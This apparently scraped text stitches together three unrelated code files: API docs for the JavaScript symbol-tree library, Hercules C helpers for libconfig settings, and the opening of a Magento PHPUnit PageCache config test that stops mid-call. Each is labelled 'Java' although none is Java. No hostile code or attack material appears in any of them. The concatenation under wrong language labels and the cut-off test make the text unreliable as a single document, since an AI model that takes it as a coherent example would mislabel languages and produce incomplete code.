* [.firstChild(object)](#module_symbol-tree--SymbolTree+firstChild) ⇒ <code>Object</code>
* [.lastChild(object)](#module_symbol-tree--SymbolTree+lastChild) ⇒ <code>Object</code>
* [.previousSibling(object)](#module_symbol-tree--SymbolTree+previousSibling) ⇒ <code>Object</code>
* [.nextSibling(object)](#module_symbol-tree--SymbolTree+nextSibling) ⇒ <code>Object</code>
* [.parent(object)](#module_symbol-tree--SymbolTree+parent) ⇒ <code>Object</code>
* [.lastInclusiveDescendant(object)](#module_symbol-tree--SymbolTree+lastInclusiveDescendant) ⇒ <code>Object</code>
* [.preceding(object, [options])](#module_symbol-tree--SymbolTree+preceding) ⇒ <code>Object</code>
* [.following(object, [options])](#module_symbol-tree--SymbolTree+following) ⇒ <code>Object</code>
* [.childrenToArray(parent, [options])](#module_symbol-tree--SymbolTree+childrenToArray) ⇒ <code>Array.<Object></code>
* [.ancestorsToArray(object, [options])](#module_symbol-tree--SymbolTree+ancestorsToArray) ⇒ <code>Array.<Object></code>
* [.treeToArray(root, [options])](#module_symbol-tree--SymbolTree+treeToArray) ⇒ <code>Array.<Object></code>
* [.childrenIterator(parent, [options])](#module_symbol-tree--SymbolTree+childrenIterator) ⇒ <code>Object</code>
* [.previousSiblingsIterator(object)](#module_symbol-tree--SymbolTree+previousSiblingsIterator) ⇒ <code>Object</code>
* [.nextSiblingsIterator(object)](#module_symbol-tree--SymbolTree+nextSiblingsIterator) ⇒ <code>Object</code>
* [.ancestorsIterator(object)](#module_symbol-tree--SymbolTree+ancestorsIterator) ⇒ <code>Object</code>
* [.treeIterator(root, options)](#module_symbol-tree--SymbolTree+treeIterator) ⇒ <code>Object</code>
* [.index(child)](#module_symbol-tree--SymbolTree+index) ⇒ <code>Number</code>
* [.childrenCount(parent)](#module_symbol-tree--SymbolTree+childrenCount) ⇒ <code>Number</code>
* [.compareTreePosition(left, right)](#module_symbol-tree--SymbolTree+compareTreePosition) ⇒ <code>Number</code>
* [.remove(removeObject)](#module_symbol-tree--SymbolTree+remove) ⇒ <code>Object</code>
* [.insertBefore(referenceObject, newObject)](#module_symbol-tree--SymbolTree+insertBefore) ⇒ <code>Object</code>
* [.insertAfter(referenceObject, newObject)](#module_symbol-tree--SymbolTree+insertAfter) ⇒ <code>Object</code>
* [.prependChild(referenceObject, newObject)](#module_symbol-tree--SymbolTree+prependChild) ⇒ <code>Object</code>
* [.appendChild(referenceObject, newObject)](#module_symbol-tree--SymbolTree+appendChild) ⇒ <code>Object</code>
<a name="exp_module_symbol-tree--SymbolTree"></a>
### SymbolTree ⏏
**Kind**: Exported class
<a name="new_module_symbol-tree--SymbolTree_new"></a>
#### new SymbolTree([description])
| Param | Type | Default | Description |
| --- | --- | --- | --- |
| [description] | <code>string</code> | <code>"'SymbolTree data'"</code> | Description used for the Symbol |
<a name="module_symbol-tree--SymbolTree+initialize"></a>
#### symbolTree.initialize(object) ⇒ <code>Object</code>
You can use this function to (optionally) initialize an object right after its creation,
to take advantage of V8's fast properties. Also useful if you would like to
freeze your object.
`O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - object
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+hasChildren"></a>
#### symbolTree.hasChildren(object) ⇒ <code>Boolean</code>
Returns `true` if the object has any children. Otherwise it returns `false`.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+firstChild"></a>
#### symbolTree.firstChild(object) ⇒ <code>Object</code>
Returns the first child of the given object.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+lastChild"></a>
#### symbolTree.lastChild(object) ⇒ <code>Object</code>
Returns the last child of the given object.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+previousSibling"></a>
#### symbolTree.previousSibling(object) ⇒ <code>Object</code>
Returns the previous sibling of the given object.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+nextSibling"></a>
#### symbolTree.nextSibling(object) ⇒ <code>Object</code>
Returns the next sibling of the given object.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+parent"></a>
#### symbolTree.parent(object) ⇒ <code>Object</code>
Return the parent of the given object.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+lastInclusiveDescendant"></a>
#### symbolTree.lastInclusiveDescendant(object) ⇒ <code>Object</code>
Find the inclusive descendant that is last in tree order of the given object.
* `O(n)` (worst case) where `n` is the depth of the subtree of `object`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+preceding"></a>
#### symbolTree.preceding(object, [options]) ⇒ <code>Object</code>
Find the preceding object (A) of the given object (B).
An object A is preceding an object B if A and B are in the same tree
and A comes before B in tree order.
* `O(n)` (worst case)
* `O(1)` (amortized when walking the entire tree)
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type | Description |
| --- | --- | --- |
| object | <code>Object</code> | |
| [options] | <code>Object</code> | |
| [options.root] | <code>Object</code> | If set, `root` must be an inclusive ancestor of the return value (or else null is returned). This check _assumes_ that `root` is also an inclusive ancestor of the given `object` |
<a name="module_symbol-tree--SymbolTree+following"></a>
#### symbolTree.following(object, [options]) ⇒ <code>Object</code>
Find the following object (A) of the given object (B).
An object A is following an object B if A and B are in the same tree
and A comes after B in tree order.
* `O(n)` (worst case) where `n` is the amount of objects in the entire tree
* `O(1)` (amortized when walking the entire tree)
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type | Default | Description |
| --- | --- | --- | --- |
| object | <code>Object</code> | | |
| [options] | <code>Object</code> | | |
| [options.root] | <code>Object</code> | | If set, `root` must be an inclusive ancestor of the return value (or else null is returned). This check _assumes_ that `root` is also an inclusive ancestor of the given `object` |
| [options.skipChildren] | <code>Boolean</code> | <code>false</code> | If set, ignore the children of `object` |
<a name="module_symbol-tree--SymbolTree+childrenToArray"></a>
#### symbolTree.childrenToArray(parent, [options]) ⇒ <code>Array.<Object></code>
Append all children of the given object to an array.
* `O(n)` where `n` is the amount of children of the given `parent`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type | Default | Description |
| --- | --- | --- | --- |
| parent | <code>Object</code> | | |
| [options] | <code>Object</code> | | |
| [options.array] | <code>Array.<Object></code> | <code>[]</code> | |
| [options.filter] | <code>function</code> | | Function to test each object before it is added to the array. Invoked with arguments (object). Should return `true` if an object is to be included. |
| [options.thisArg] | <code>\*</code> | | Value to use as `this` when executing `filter`. |
<a name="module_symbol-tree--SymbolTree+ancestorsToArray"></a>
#### symbolTree.ancestorsToArray(object, [options]) ⇒ <code>Array.<Object></code>
Append all inclusive ancestors of the given object to an array.
* `O(n)` where `n` is the amount of ancestors of the given `object`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type | Default | Description |
| --- | --- | --- | --- |
| object | <code>Object</code> | | |
| [options] | <code>Object</code> | | |
| [options.array] | <code>Array.<Object></code> | <code>[]</code> | |
| [options.filter] | <code>function</code> | | Function to test each object before it is added to the array. Invoked with arguments (object). Should return `true` if an object is to be included. |
| [options.thisArg] | <code>\*</code> | | Value to use as `this` when executing `filter`. |
<a name="module_symbol-tree--SymbolTree+treeToArray"></a>
#### symbolTree.treeToArray(root, [options]) ⇒ <code>Array.<Object></code>
Append all descendants of the given object to an array (in tree order).
* `O(n)` where `n` is the amount of objects in the sub-tree of the given `object`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type | Default | Description |
| --- | --- | --- | --- |
| root | <code>Object</code> | | |
| [options] | <code>Object</code> | | |
| [options.array] | <code>Array.<Object></code> | <code>[]</code> | |
| [options.filter] | <code>function</code> | | Function to test each object before it is added to the array. Invoked with arguments (object). Should return `true` if an object is to be included. |
| [options.thisArg] | <code>\*</code> | | Value to use as `this` when executing `filter`. |
<a name="module_symbol-tree--SymbolTree+childrenIterator"></a>
#### symbolTree.childrenIterator(parent, [options]) ⇒ <code>Object</code>
Iterate over all children of the given object
* `O(1)` for a single iteration
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - An iterable iterator (ES6)
| Param | Type | Default |
| --- | --- | --- |
| parent | <code>Object</code> | |
| [options] | <code>Object</code> | |
| [options.reverse] | <code>Boolean</code> | <code>false</code> |
<a name="module_symbol-tree--SymbolTree+previousSiblingsIterator"></a>
#### symbolTree.previousSiblingsIterator(object) ⇒ <code>Object</code>
Iterate over all the previous siblings of the given object. (in reverse tree order)
* `O(1)` for a single iteration
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - An iterable iterator (ES6)
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+nextSiblingsIterator"></a>
#### symbolTree.nextSiblingsIterator(object) ⇒ <code>Object</code>
Iterate over all the next siblings of the given object. (in tree order)
* `O(1)` for a single iteration
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - An iterable iterator (ES6)
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+ancestorsIterator"></a>
#### symbolTree.ancestorsIterator(object) ⇒ <code>Object</code>
Iterate over all inclusive ancestors of the given object
* `O(1)` for a single iteration
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - An iterable iterator (ES6)
| Param | Type |
| --- | --- |
| object | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+treeIterator"></a>
#### symbolTree.treeIterator(root, options) ⇒ <code>Object</code>
Iterate over all descendants of the given object (in tree order).
Where `n` is the amount of objects in the sub-tree of the given `root`:
* `O(n)` (worst case for a single iteration)
* `O(n)` (amortized, when completing the iterator)
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - An iterable iterator (ES6)
| Param | Type | Default |
| --- | --- | --- |
| root | <code>Object</code> | |
| options | <code>Object</code> | |
| [options.reverse] | <code>Boolean</code> | <code>false</code> |
<a name="module_symbol-tree--SymbolTree+index"></a>
#### symbolTree.index(child) ⇒ <code>Number</code>
Find the index of the given object (the number of preceding siblings).
* `O(n)` where `n` is the amount of preceding siblings
* `O(1)` (amortized, if the tree is not modified)
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Number</code> - The number of preceding siblings, or -1 if the object has no parent
| Param | Type |
| --- | --- |
| child | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+childrenCount"></a>
#### symbolTree.childrenCount(parent) ⇒ <code>Number</code>
Calculate the number of children.
* `O(n)` where `n` is the amount of children
* `O(1)` (amortized, if the tree is not modified)
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| parent | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+compareTreePosition"></a>
#### symbolTree.compareTreePosition(left, right) ⇒ <code>Number</code>
Compare the position of an object relative to another object. A bit set is returned:
<ul>
<li>DISCONNECTED : 1</li>
<li>PRECEDING : 2</li>
<li>FOLLOWING : 4</li>
<li>CONTAINS : 8</li>
<li>CONTAINED_BY : 16</li>
</ul>
The semantics are the same as compareDocumentPosition in DOM, with the exception that
DISCONNECTED never occurs with any other bit.
where `n` and `m` are the amount of ancestors of `left` and `right`;
where `o` is the amount of children of the lowest common ancestor of `left` and `right`:
* `O(n + m + o)` (worst case)
* `O(n + m)` (amortized, if the tree is not modified)
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
| Param | Type |
| --- | --- |
| left | <code>Object</code> |
| right | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+remove"></a>
#### symbolTree.remove(removeObject) ⇒ <code>Object</code>
Remove the object from this tree.
Has no effect if already removed.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - removeObject
| Param | Type |
| --- | --- |
| removeObject | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+insertBefore"></a>
#### symbolTree.insertBefore(referenceObject, newObject) ⇒ <code>Object</code>
Insert the given object before the reference object.
`newObject` is now the previous sibling of `referenceObject`.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - newObject
**Throws**:
- <code>Error</code> If the newObject is already present in this SymbolTree
| Param | Type |
| --- | --- |
| referenceObject | <code>Object</code> |
| newObject | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+insertAfter"></a>
#### symbolTree.insertAfter(referenceObject, newObject) ⇒ <code>Object</code>
Insert the given object after the reference object.
`newObject` is now the next sibling of `referenceObject`.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - newObject
**Throws**:
- <code>Error</code> If the newObject is already present in this SymbolTree
| Param | Type |
| --- | --- |
| referenceObject | <code>Object</code> |
| newObject | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+prependChild"></a>
#### symbolTree.prependChild(referenceObject, newObject) ⇒ <code>Object</code>
Insert the given object as the first child of the given reference object.
`newObject` is now the first child of `referenceObject`.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - newObject
**Throws**:
- <code>Error</code> If the newObject is already present in this SymbolTree
| Param | Type |
| --- | --- |
| referenceObject | <code>Object</code> |
| newObject | <code>Object</code> |
<a name="module_symbol-tree--SymbolTree+appendChild"></a>
#### symbolTree.appendChild(referenceObject, newObject) ⇒ <code>Object</code>
Insert the given object as the last child of the given reference object.
`newObject` is now the last child of `referenceObject`.
* `O(1)`
**Kind**: instance method of <code>[SymbolTree](#exp_module_symbol-tree--SymbolTree)</code>
**Returns**: <code>Object</code> - newObject
**Throws**:
- <code>Error</code> If the newObject is already present in this SymbolTree
| Param | Type |
| --- | --- |
| referenceObject | <code>Object</code> |
| newObject | <code>Object</code> |
| Java |
/**
* This file is part of Hercules.
* http://herc.ws - http://github.com/HerculesWS/Hercules
*
* Copyright (C) 2012-2015 Hercules Dev Team
* Copyright (C) Athena Dev Teams
*
* Hercules is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#define HERCULES_CORE
#include "conf.h"
#include "common/showmsg.h" // ShowError
#include "common/strlib.h" // safestrncpy
#include "common/utils.h" // exists
#include <libconfig/libconfig.h>
/* interface source */
struct libconfig_interface libconfig_s;
struct libconfig_interface *libconfig;
/**
* Initializes 'config' and loads a configuration file.
*
* Shows error and destroys 'config' in case of failure.
* It is the caller's care to destroy 'config' in case of success.
*
* @param config The config file to initialize.
* @param config_filename The file to read.
*
* @retval CONFIG_TRUE in case of success.
* @retval CONFIG_FALSE in case of failure.
*/
int config_load_file(struct config_t *config, const char *config_filename)
{
libconfig->init(config);
if (!exists(config_filename)) {
ShowError("Unable to load '%s' - File not found\n", config_filename);
return CONFIG_FALSE;
}
if (libconfig->read_file_src(config, config_filename) != CONFIG_TRUE) {
ShowError("%s:%d - %s\n", config_error_file(config),
config_error_line(config), config_error_text(config));
libconfig->destroy(config);
return CONFIG_FALSE;
}
return CONFIG_TRUE;
}
//
// Functions to copy settings from libconfig/contrib
//
void config_setting_copy_simple(struct config_setting_t *parent, const struct config_setting_t *src)
{
if (config_setting_is_aggregate(src)) {
libconfig->setting_copy_aggregate(parent, src);
} else {
struct config_setting_t *set;
if( libconfig->setting_get_member(parent, config_setting_name(src)) != NULL )
return;
if ((set = libconfig->setting_add(parent, config_setting_name(src), config_setting_type(src))) == NULL)
return;
if (CONFIG_TYPE_INT == config_setting_type(src)) {
libconfig->setting_set_int(set, libconfig->setting_get_int(src));
libconfig->setting_set_format(set, src->format);
} else if (CONFIG_TYPE_INT64 == config_setting_type(src)) {
libconfig->setting_set_int64(set, libconfig->setting_get_int64(src));
libconfig->setting_set_format(set, src->format);
} else if (CONFIG_TYPE_FLOAT == config_setting_type(src)) {
libconfig->setting_set_float(set, libconfig->setting_get_float(src));
} else if (CONFIG_TYPE_STRING == config_setting_type(src)) {
libconfig->setting_set_string(set, libconfig->setting_get_string(src));
} else if (CONFIG_TYPE_BOOL == config_setting_type(src)) {
libconfig->setting_set_bool(set, libconfig->setting_get_bool(src));
}
}
}
void config_setting_copy_elem(struct config_setting_t *parent, const struct config_setting_t *src)
{
struct config_setting_t *set = NULL;
if (config_setting_is_aggregate(src))
libconfig->setting_copy_aggregate(parent, src);
else if (CONFIG_TYPE_INT == config_setting_type(src)) {
set = libconfig->setting_set_int_elem(parent, -1, libconfig->setting_get_int(src));
libconfig->setting_set_format(set, src->format);
} else if (CONFIG_TYPE_INT64 == config_setting_type(src)) {
set = libconfig->setting_set_int64_elem(parent, -1, libconfig->setting_get_int64(src));
libconfig->setting_set_format(set, src->format);
} else if (CONFIG_TYPE_FLOAT == config_setting_type(src)) {
libconfig->setting_set_float_elem(parent, -1, libconfig->setting_get_float(src));
} else if (CONFIG_TYPE_STRING == config_setting_type(src)) {
libconfig->setting_set_string_elem(parent, -1, libconfig->setting_get_string(src));
} else if (CONFIG_TYPE_BOOL == config_setting_type(src)) {
libconfig->setting_set_bool_elem(parent, -1, libconfig->setting_get_bool(src));
}
}
void config_setting_copy_aggregate(struct config_setting_t *parent, const struct config_setting_t *src)
{
struct config_setting_t *newAgg;
int i, n;
if( libconfig->setting_get_member(parent, config_setting_name(src)) != NULL )
return;
newAgg = libconfig->setting_add(parent, config_setting_name(src), config_setting_type(src));
if (newAgg == NULL)
return;
n = config_setting_length(src);
for (i = 0; i < n; i++) {
if (config_setting_is_group(src)) {
libconfig->setting_copy_simple(newAgg, libconfig->setting_get_elem(src, i));
} else {
libconfig->setting_copy_elem(newAgg, libconfig->setting_get_elem(src, i));
}
}
}
int config_setting_copy(struct config_setting_t *parent, const struct config_setting_t *src)
{
if (!config_setting_is_group(parent) && !config_setting_is_list(parent))
return CONFIG_FALSE;
if (config_setting_is_aggregate(src)) {
libconfig->setting_copy_aggregate(parent, src);
} else {
libconfig->setting_copy_simple(parent, src);
}
return CONFIG_TRUE;
}
/**
* Converts the value of a setting that is type CONFIG_TYPE_BOOL to bool.
*
* @param setting The setting to read.
*
* @return The converted value.
* @retval false in case of failure.
*/
bool config_setting_get_bool_real(const struct config_setting_t *setting)
{
if (setting == NULL || setting->type != CONFIG_TYPE_BOOL)
return false;
return setting->value.ival ? true : false;
}
/**
* Same as config_setting_lookup_bool, but uses bool instead of int.
*
* @param[in] setting The setting to read.
* @param[in] name The setting name to lookup.
* @param[out] value The output value.
*
* @retval CONFIG_TRUE in case of success.
* @retval CONFIG_FALSE in case of failure.
*/
int config_setting_lookup_bool_real(const struct config_setting_t *setting, const char *name, bool *value)
{
struct config_setting_t *member = config_setting_get_member(setting, name);
if (!member)
return CONFIG_FALSE;
if (config_setting_type(member) != CONFIG_TYPE_BOOL)
return CONFIG_FALSE;
*value = config_setting_get_bool_real(member);
return CONFIG_TRUE;
}
/**
* Converts and returns a configuration that is CONFIG_TYPE_INT to unsigned int (uint32).
*
* @param setting The setting to read.
*
* @return The converted value.
* @retval 0 in case of failure.
*/
uint32 config_setting_get_uint32(const struct config_setting_t *setting)
{
if (setting == NULL || setting->type != CONFIG_TYPE_INT)
return 0;
if (setting->value.ival < 0)
return 0;
return (uint32)setting->value.ival;
}
/**
* Looks up a configuration entry of type CONFIG_TYPE_INT and reads it as uint32.
*
* @param[in] setting The setting to read.
* @param[in] name The setting name to lookup.
* @param[out] value The output value.
*
* @retval CONFIG_TRUE in case of success.
* @retval CONFIG_FALSE in case of failure.
*/
int config_setting_lookup_uint32(const struct config_setting_t *setting, const char *name, uint32 *value)
{
struct config_setting_t *member = config_setting_get_member(setting, name);
if (!member)
return CONFIG_FALSE;
if (config_setting_type(member) != CONFIG_TYPE_INT)
return CONFIG_FALSE;
*value = config_setting_get_uint32(member);
return CONFIG_TRUE;
}
/**
* Converts and returns a configuration that is CONFIG_TYPE_INT to uint16
*
* @param setting The setting to read.
*
* @return The converted value.
* @retval 0 in case of failure.
*/
uint16 config_setting_get_uint16(const struct config_setting_t *setting)
{
if (setting == NULL || setting->type != CONFIG_TYPE_INT)
return 0;
if (setting->value.ival > UINT16_MAX)
return UINT16_MAX;
if (setting->value.ival < UINT16_MIN)
return UINT16_MIN;
return (uint16)setting->value.ival;
}
/**
* Looks up a configuration entry of type CONFIG_TYPE_INT and reads it as uint16.
*
* @param[in] setting The setting to read.
* @param[in] name The setting name to lookup.
* @param[out] value The output value.
*
* @retval CONFIG_TRUE in case of success.
* @retval CONFIG_FALSE in case of failure.
*/
int config_setting_lookup_uint16(const struct config_setting_t *setting, const char *name, uint16 *value)
{
struct config_setting_t *member = config_setting_get_member(setting, name);
if (!member)
return CONFIG_FALSE;
if (config_setting_type(member) != CONFIG_TYPE_INT)
return CONFIG_FALSE;
*value = config_setting_get_uint16(member);
return CONFIG_TRUE;
}
/**
* Converts and returns a configuration that is CONFIG_TYPE_INT to int16
*
* @param setting The setting to read.
*
* @return The converted value.
* @retval 0 in case of failure.
*/
int16 config_setting_get_int16(const struct config_setting_t *setting)
{
if (setting == NULL || setting->type != CONFIG_TYPE_INT)
return 0;
if (setting->value.ival > INT16_MAX)
return INT16_MAX;
if (setting->value.ival < INT16_MIN)
return INT16_MIN;
return (int16)setting->value.ival;
}
/**
* Looks up a configuration entry of type CONFIG_TYPE_INT and reads it as int16.
*
* @param[in] setting The setting to read.
* @param[in] name The setting name to lookup.
* @param[out] value The output value.
*
* @retval CONFIG_TRUE in case of success.
* @retval CONFIG_FALSE in case of failure.
*/
int config_setting_lookup_int16(const struct config_setting_t *setting, const char *name, int16 *value)
{
struct config_setting_t *member = config_setting_get_member(setting, name);
if (!member)
return CONFIG_FALSE;
if (config_setting_type(member) != CONFIG_TYPE_INT)
return CONFIG_FALSE;
*value = config_setting_get_int16(member);
return CONFIG_TRUE;
}
/**
* Looks up a configuration entry of type CONFIG_TYPE_STRING inside a struct config_setting_t and copies it into a (non-const) char buffer.
*
* @param[in] setting The setting to read.
* @param[in] name The setting name to lookup.
* @param[out] out The output buffer.
* @param[in] out_size The size of the output buffer.
*
* @retval CONFIG_TRUE in case of success.
* @retval CONFIG_FALSE in case of failure.
*/
int config_setting_lookup_mutable_string(const struct config_setting_t *setting, const char *name, char *out, size_t out_size)
{
const char *str = NULL;
if (libconfig->setting_lookup_string(setting, name, &str) == CONFIG_TRUE) {
safestrncpy(out, str, out_size);
return CONFIG_TRUE;
}
return CONFIG_FALSE;
}
/**
* Looks up a configuration entry of type CONFIG_TYPE_STRING inside a struct config_t and copies it into a (non-const) char buffer.
*
* @param[in] config The configuration to read.
* @param[in] name The setting name to lookup.
* @param[out] out The output buffer.
* @param[in] out_size The size of the output buffer.
*
* @retval CONFIG_TRUE in case of success.
* @retval CONFIG_FALSE in case of failure.
*/
int config_lookup_mutable_string(const struct config_t *config, const char *name, char *out, size_t out_size)
{
const char *str = NULL;
if (libconfig->lookup_string(config, name, &str) == CONFIG_TRUE) {
safestrncpy(out, str, out_size);
return CONFIG_TRUE;
}
return CONFIG_FALSE;
}
void libconfig_defaults(void) {
libconfig = &libconfig_s;
libconfig->read = config_read;
libconfig->write = config_write;
/* */
libconfig->set_options = config_set_options;
libconfig->get_options = config_get_options;
/* */
libconfig->read_string = config_read_string;
libconfig->read_file_src = config_read_file;
libconfig->write_file = config_write_file;
/* */
libconfig->set_destructor = config_set_destructor;
libconfig->set_include_dir = config_set_include_dir;
/* */
libconfig->init = config_init;
libconfig->destroy = config_destroy;
/* */
libconfig->setting_get_int = config_setting_get_int;
libconfig->setting_get_int64 = config_setting_get_int64;
libconfig->setting_get_float = config_setting_get_float;
libconfig->setting_get_bool = config_setting_get_bool;
libconfig->setting_get_string = config_setting_get_string;
/* */
libconfig->setting_lookup = config_setting_lookup;
libconfig->setting_lookup_int = config_setting_lookup_int;
libconfig->setting_lookup_int64 = config_setting_lookup_int64;
libconfig->setting_lookup_float = config_setting_lookup_float;
libconfig->setting_lookup_bool = config_setting_lookup_bool;
libconfig->setting_lookup_string = config_setting_lookup_string;
/* */
libconfig->setting_set_int = config_setting_set_int;
libconfig->setting_set_int64 = config_setting_set_int64;
libconfig->setting_set_float = config_setting_set_float;
libconfig->setting_set_bool = config_setting_set_bool;
libconfig->setting_set_string = config_setting_set_string;
/* */
libconfig->setting_set_format = config_setting_set_format;
libconfig->setting_get_format = config_setting_get_format;
/* */
libconfig->setting_get_int_elem = config_setting_get_int_elem;
libconfig->setting_get_int64_elem = config_setting_get_int64_elem;
libconfig->setting_get_float_elem = config_setting_get_float_elem;
libconfig->setting_get_bool_elem = config_setting_get_bool_elem;
libconfig->setting_get_string_elem = config_setting_get_string_elem;
/* */
libconfig->setting_set_int_elem = config_setting_set_int_elem;
libconfig->setting_set_int64_elem = config_setting_set_int64_elem;
libconfig->setting_set_float_elem = config_setting_set_float_elem;
libconfig->setting_set_bool_elem = config_setting_set_bool_elem;
libconfig->setting_set_string_elem = config_setting_set_string_elem;
/* */
libconfig->setting_index = config_setting_index;
libconfig->setting_length = config_setting_length;
/* */
libconfig->setting_get_elem = config_setting_get_elem;
libconfig->setting_get_member = config_setting_get_member;
/* */
libconfig->setting_add = config_setting_add;
libconfig->setting_remove = config_setting_remove;
libconfig->setting_remove_elem = config_setting_remove_elem;
/* */
libconfig->setting_set_hook = config_setting_set_hook;
/* */
libconfig->lookup = config_lookup;
/* */
libconfig->lookup_int = config_lookup_int;
libconfig->lookup_int64 = config_lookup_int64;
libconfig->lookup_float = config_lookup_float;
libconfig->lookup_bool = config_lookup_bool;
libconfig->lookup_string = config_lookup_string;
/* those are custom and are from src/common/conf.c */
libconfig->load_file = config_load_file;
libconfig->setting_copy_simple = config_setting_copy_simple;
libconfig->setting_copy_elem = config_setting_copy_elem;
libconfig->setting_copy_aggregate = config_setting_copy_aggregate;
libconfig->setting_copy = config_setting_copy;
/* Functions to get different types */
libconfig->setting_get_bool_real = config_setting_get_bool_real;
libconfig->setting_get_uint32 = config_setting_get_uint32;
libconfig->setting_get_uint16 = config_setting_get_uint16;
libconfig->setting_get_int16 = config_setting_get_int16;
/* Functions to lookup different types */
libconfig->setting_lookup_int16 = config_setting_lookup_int16;
libconfig->setting_lookup_bool_real = config_setting_lookup_bool_real;
libconfig->setting_lookup_uint32 = config_setting_lookup_uint32;
libconfig->setting_lookup_uint16 = config_setting_lookup_uint16;
libconfig->setting_lookup_mutable_string = config_setting_lookup_mutable_string;
libconfig->lookup_mutable_string = config_lookup_mutable_string;
}
| Java |
<?php
/**
* Copyright © 2016 Magento. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\PageCache\Test\Unit\Model;
use Magento\PageCache\Model\Config;
class ConfigTest extends \PHPUnit_Framework_TestCase
{
/**
* @var \Magento\PageCache\Model\Config
*/
protected $_model;
/**
* @var \PHPUnit_Framework_MockObject_MockObject|\Magento\Framework\App\Config\ScopeConfigInterface
*/
protected $_coreConfigMock;
/**
* @var \PHPUnit_Framework_MockObject_MockObject|\Magento\Framework\App\Cache\StateInterface
*/
protected $_cacheState;
/**
* @var \PHPUnit_Framework_MockObject_MockObject|\Magento\Framework\Module\Dir\Reader
*/
protected $moduleReader;
/**
* setUp all mocks and data function
*/
protected function setUp()
{
$readFactoryMock = $this->getMock('Magento\Framework\Filesystem\Directory\ReadFactory', [], [], '', false);
$this->_coreConfigMock = $this->getMock('Magento\Framework\App\Config\ScopeConfigInterface');
$this->_cacheState = $this->getMockForAbstractClass('Magento\Framework\App\Cache\StateInterface');
$modulesDirectoryMock = $this->getMock(
'Magento\Framework\Filesystem\Directory\Write',
[],
[],
'',
false
);
$readFactoryMock->expects(
$this->any()
)->method(
'create'
)->will(
$this->returnValue($modulesDirectoryMock)
);
$modulesDirectoryMock->expects(
$this->any()
)->method(
'readFile'
)->will(
$this->returnValue(file_get_contents(__DIR__ . '/_files/test.vcl'))
);
$this->_coreConfigMock->expects(
$this->any()
)->method(
'getValue'
)->will(
$this->returnValueMap(
